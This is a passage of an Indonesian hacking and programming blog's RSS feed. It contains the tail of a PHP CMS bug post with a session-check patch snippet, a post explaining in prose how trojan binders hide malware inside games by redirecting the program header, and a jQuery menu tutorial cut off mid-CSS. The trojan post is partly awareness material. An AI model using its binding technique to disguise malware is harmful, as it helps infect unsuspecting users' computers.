small" class="php-brief" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;&lt;ol&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;a href="http://www.php.net/session_start"&gt;&lt;span style="color: #990000"&gt;session_start&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #b1b100"&gt;if&lt;/span&gt; &lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;a href="http://www.php.net/empty"&gt;&lt;span style="color: #990000"&gt;empty&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #0000ff"&gt;$_SESSION&lt;/span&gt;&lt;span style="color: #009900"&gt;[&lt;/span&gt;namauser&lt;span style="color: #009900"&gt;]&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt; AND &lt;a href="http://www.php.net/empty"&gt;&lt;span style="color: #990000"&gt;empty&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #009900"&gt;(&lt;/span&gt;&lt;span style="color: #0000ff"&gt;$_SESSION&lt;/span&gt;&lt;span style="color: #009900"&gt;[&lt;/span&gt;passuser&lt;span style="color: #009900"&gt;]&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #009900"&gt;)&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: #990000"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #0000ff"&gt;&amp;quot;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #0000ff"&gt;This Site has been Patched Pandewa&amp;quot;&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: #990000"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #0000ff"&gt;&amp;quot;gerandong team cyber&amp;quot;&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: #990000"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #0000ff"&gt;&amp;quot;klik disini untuk LOGIN&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #0000ff"&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #339933"&gt;;&lt;/span&gt; &lt;span style="color: #009900"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #b1b100"&gt;else&lt;/span&gt;&lt;span style="color: #009900"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;Parsed in 0.019 seconds at 10.48 KB/s&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Smoga artikel ini dapat bermanfaat untuk Anda, &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;special thank’s buat team gerandong cyber,,, &lt;img style="border-bottom-style: none; border-right-style: none; border-top-style: none; border-left-style: none" class="wlEmoticon wlEmoticon-smile" alt="Smile" src="http://lh5.ggpht.com/_xxdfU1yNW68/TLTu2afzlGI/AAAAAAAAAhE/buOFHbCynG0/wlEmoticon-smile%5B2%5D.png?imgmax=800" /&gt; dan Anda &lt;img style="border-bottom-style: none; border-right-style: none; border-top-style: none; border-left-style: none" class="wlEmoticon wlEmoticon-hotsmile" alt="Hot smile" src="http://lh3.ggpht.com/_xxdfU1yNW68/TLTu2xY7sWI/AAAAAAAAAhI/Ja5EcpdtmzE/wlEmoticon-hotsmile%5B2%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-2266609828156388839?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/QKFROby14r8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/QKFROby14r8/php-bug-di-cms-php-lhakim.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh6.ggpht.com/_xxdfU1yNW68/TLTwKBhZjWI/AAAAAAAAAhU/RCETDS4Skuo/s72-c/bug_thumb%5B7%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/10/php-bug-di-cms-php-lhakim.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-3665395836788961497</guid><pubDate>Sun, 10 Oct 2010 14:35:00 +0000</pubDate><atom:updated>2010-11-12T06:10:37.050-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>Topeng Pembungkus Trojan</title><description>&lt;div align="center"&gt;
&lt;a href="http://lh5.ggpht.com/_xxdfU1yNW68/TLHPNBYXv_I/AAAAAAAAAg0/OA7-mik981o/s1600-h/trojan-horse-11%5B17%5D.jpg"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;img alt="trojan-horse-11" border="0" height="303" src="http://lh3.ggpht.com/_xxdfU1yNW68/TLHPO80KYAI/AAAAAAAAAg4/7jB1J9R5QHA/trojan-horse-11_thumb%5B15%5D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="trojan-horse-11" width="373" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Saat ini, virus komputer menyebar dengan cepatnya merusak bahkan menghancurkan sistem komputer. Anda tentunya bertanya tanya bagaimana penyebaran sebuah virus ? dalam artikel ini, saya akan mencoba menjelaskan kepada Anda mengenai Binder, Topeng Pembungkus Trojan.&lt;/span&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;     &lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Social Enginering. Adalah&amp;nbsp; teknik yang paling sering di gunakan, seperti yang pernah saya tulis dala artikel saya sabelumnya di &lt;a href="http://naksangka.blogspot.com/2010/04/bagaimana-melakukan-teknik-social.html" target="_blank"&gt;sini&lt;/a&gt; . Social Enginering adlah teknik yang sudah terbukti mudah dan paling banyak di gunakan dan cara ini terbukti sangat efektif. salah satu teknik Social Enginering yang sangat efektif untuk di gunakan adalah membungkus trojan kedalam program lain. Anda tentunya sering mendownload aplikasi di internet bukan ? ntah itu aplikasi komputer, games dll. tapi, cobalah Anda berfikir apakah aplikasi yang sedang di download aman dari virus, worm, malware ? Hacker bisa saja mengirimkan program games yang telah terinfeksi dengan server trojan kepada calon korbannya dan ketika games tersebut dijalankan, secara otomatis trojan akan menginfeksi komputer tersebut. Tentu saja, korban tidak akan mengetahui hal ini karena games yang didownload tetap bisa dijalankan secara normal. &lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Timbul sebuah pertanyaan, “Bagaimana memasukkan/ menggabungkan trojan kedalam suatu aplikasi ? pertanyaan ini juga pernah d lontarkan oleh&amp;nbsp; salah seorang sahabat saya melalui email.&lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Bila Anda membedah&amp;nbsp; setiap file program, pada awal program terdapat kode program yang biasa di sebut header program. Header ini menginformasikan kepada komputer cara mengeksekusi program tersebut. Coba Anda perhatikan gambar berikut ini&lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;a href="http://lh4.ggpht.com/_xxdfU1yNW68/TLHPP8QvkLI/AAAAAAAAAg8/FD3CWze5tFU/s1600-h/skema%5B14%5D.jpg"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;img alt="skema" border="0" height="255" src="http://lh6.ggpht.com/_xxdfU1yNW68/TLHPQ6b9sHI/AAAAAAAAAhA/uyK6YTX7ZGQ/skema_thumb%5B12%5D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="skema" width="356" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Program akan mengkopy program trojan dan diletakkan&amp;nbsp; dibawah program games kemudian merubah header dari program games akan memerintahkan komputer mengeksekusi program trojan terlebih dahulu. Pada akhir proram trojan, akan dibuat lagi sebuah lompatan balik yang akan mengeksekusi program games. Dengan demikian, trojan akan dijalankan secara diam-diam pada komputer anda kemudian program games akan dijalankan secara biasa.&lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Untuk membuat anda mengeti dengan teknik ini, maka pada contoh lain. pada contoh ini, kita akan menggunakan OLE (object Linking and Embedding)&amp;nbsp; adalah suatu feature yang memungkinkan beberapa aplikasi saling berkomunikasi dan bekerja sama. sebagai contoh Anda bisa memasukkan dolumen dari Microsoft Word ke dalam Microsoft Exel.&lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Apa hubungan OLE dengan hacking ? muncul pertanyaan baru lagi di hadapan kita. jika Anda bisa lebih kreatif, teknik OLE dapat Anda manfaatkan, yaitu menggabungkan program yang berbeda. nah, Anda bukan hanya bisa memasukkan documen biasa kedalam dokumen lain, namun Anda ternyata&amp;nbsp; juga bisa memasukkan program kedalamnya. &lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;untuk artikel OLE (object Linking and Embedding) akan saya bahas terpisah. &lt;/span&gt;&lt;/div&gt;
&lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Apa yang dapat kita ambil benang merah dari artikel ini ? menurut saya, hal yang harus Anda prhatikan adalah :&lt;/span&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;     &lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Hindari mendownload software bajakan.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;     &lt;div align="justify"&gt;
&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Cek port yang terbuka pada komputer Anda&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-3665395836788961497?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/B_v7sPeiG2k" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/B_v7sPeiG2k/topeng-pembungkus-trojan.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh3.ggpht.com/_xxdfU1yNW68/TLHPO80KYAI/AAAAAAAAAg4/7jB1J9R5QHA/s72-c/trojan-horse-11_thumb%5B15%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>10</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/10/topeng-pembungkus-trojan.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-4788410583096908500</guid><pubDate>Sun, 03 Oct 2010 05:35:00 +0000</pubDate><atom:updated>2010-10-02T22:41:29.666-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">JQuery</category><category domain="http://www.blogger.com/atom/ns#">CSS</category><category domain="http://www.blogger.com/atom/ns#">Pemprograman</category><title>Simple Lava Menu Menggunakan jQuery</title><description>&lt;p&gt;&lt;strong&gt;Simple Lava Menu Menggunakan jQuery&lt;/strong&gt;     &lt;br /&gt;&lt;font size="2" face="Times New Roman"&gt;&lt;a href="http://lh6.ggpht.com/_xxdfU1yNW68/TKgWDAGVntI/AAAAAAAAAgk/O1wPGvnn5NI/s1600-h/images%5B1%5D.jpg"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="images" border="0" alt="images" src="http://lh4.ggpht.com/_xxdfU1yNW68/TKgWD3909FI/AAAAAAAAAgo/aDWgjIcoI5M/images_thumb%5B1%5D.jpg?imgmax=800" width="289" height="91" /&gt;&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2" face="Times New Roman"&gt;Jika pada artikel saya sebelumnya menggenai jQuery yaitu &lt;/font&gt;&lt;a href="http://naksangka.blogspot.com/2010/09/drag-and-drop-menggunakan-jquery.html"&gt;&lt;font size="2" face="Times New Roman"&gt;membuat Menu drop down menggunakan jQuery&lt;/font&gt;&lt;/a&gt;&lt;font size="2" face="Times New Roman"&gt;, maka pada artikel kali ini saya akan mencoba mengulas membuat sebuha menu lava, Lava lamp Menu adalah salah satu menu favorit yang telah menggunakan oleh beberapa website. untuk demo, silahkan lihat &lt;/font&gt;&lt;a href="http://kui.my-php.net/lava/"&gt;&lt;font size="2" face="Times New Roman"&gt;disini&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;HTML &lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&lt;font size="2" face="Times New Roman"&gt;Pada bagian HTML, supaya terlihat rapi, kita gunakan daftar UL untuk menu. Ini dianjurkan untuk menggunakan daftar UL untuk menu. Dalam menu ini Lava tutorial ini, kita akan membutuhkan beberapa elemen html tambahan setelah daftar untuk membuat gelembung yang mengambang. Juga, Anda perlu mengatur default item yang dipilih, ini adalah bagaimana HTML terlihat seperti ini:      &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;  &lt;div style="font-family: consolas,; font-size: small" class="html4strict" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;   &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;code program&lt;/div&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;id&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;lava&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/ul.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;ul&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;href&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;home&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;href&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;Blog&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;class&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;selected&amp;quot;&lt;/span&gt;&amp;gt;&amp;lt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;href&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;#&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;jQuery&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/a.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;a&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/li.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;li&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/ul.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;ul&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;/span&gt;&amp;#160;&lt;span style="color: #009900"&gt;&amp;lt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;id&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;box&amp;quot;&lt;/span&gt;&amp;gt;&amp;lt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt; &lt;span style="color: #000066"&gt;class&lt;/span&gt;&lt;span style="color: #66cc66"&gt;=&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;head&amp;quot;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt;&amp;gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&amp;lt;&lt;span style="color: #66cc66"&gt;/&lt;/span&gt;&lt;a href="http://december.com/html/4/element/div.html"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;div&lt;/span&gt;&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;   &lt;/ol&gt;    &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;Parsed in 0.015 seconds at 13.82 KB/s&lt;/div&gt; &lt;/div&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;strong&gt;2. CSS.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="2" face="Times New Roman"&gt;Untuk mempercantik tampilan Lava Lamp Anda, kita gunakan CSS untuk&amp;#160; membuat animasi, posisi absolut dan relatif. Jika kita ingin mengatur posisi mutlak dalam sebuah wadah, kita perlu memastikan item induk disetel ke posisi relatif, jika tidak, item yang lain&amp;#160; akan diposisikan sesuai dengan layar jendela. Berikut kode CSS-nya&lt;/font&gt; &lt;/p&gt;  &lt;div style="font-family: consolas,; font-size: small" class="css" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;   &lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;code program&lt;/div&gt;    &lt;ol&gt;     &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; body &lt;span style="color: #00aa00"&gt;{&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;font-family&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;georgia&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #000000; font-weight: bold"&gt;font-size&lt;/span&gt;&lt;span style="color: #00aa00"&gt;:&lt;/span&gt;&lt;span style="color: #933"&gt;14px&lt;/span&gt;&lt;span style="color: #00aa00"&gt;;&lt;/span&gt; &lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color: #00aa00"&gt;}&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;      &lt;li&gt;       &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; a&lt;/div&gt;     &lt;/li&gt;      &lt;li style="background-color: #f4f4f4"&gt;       &lt;div 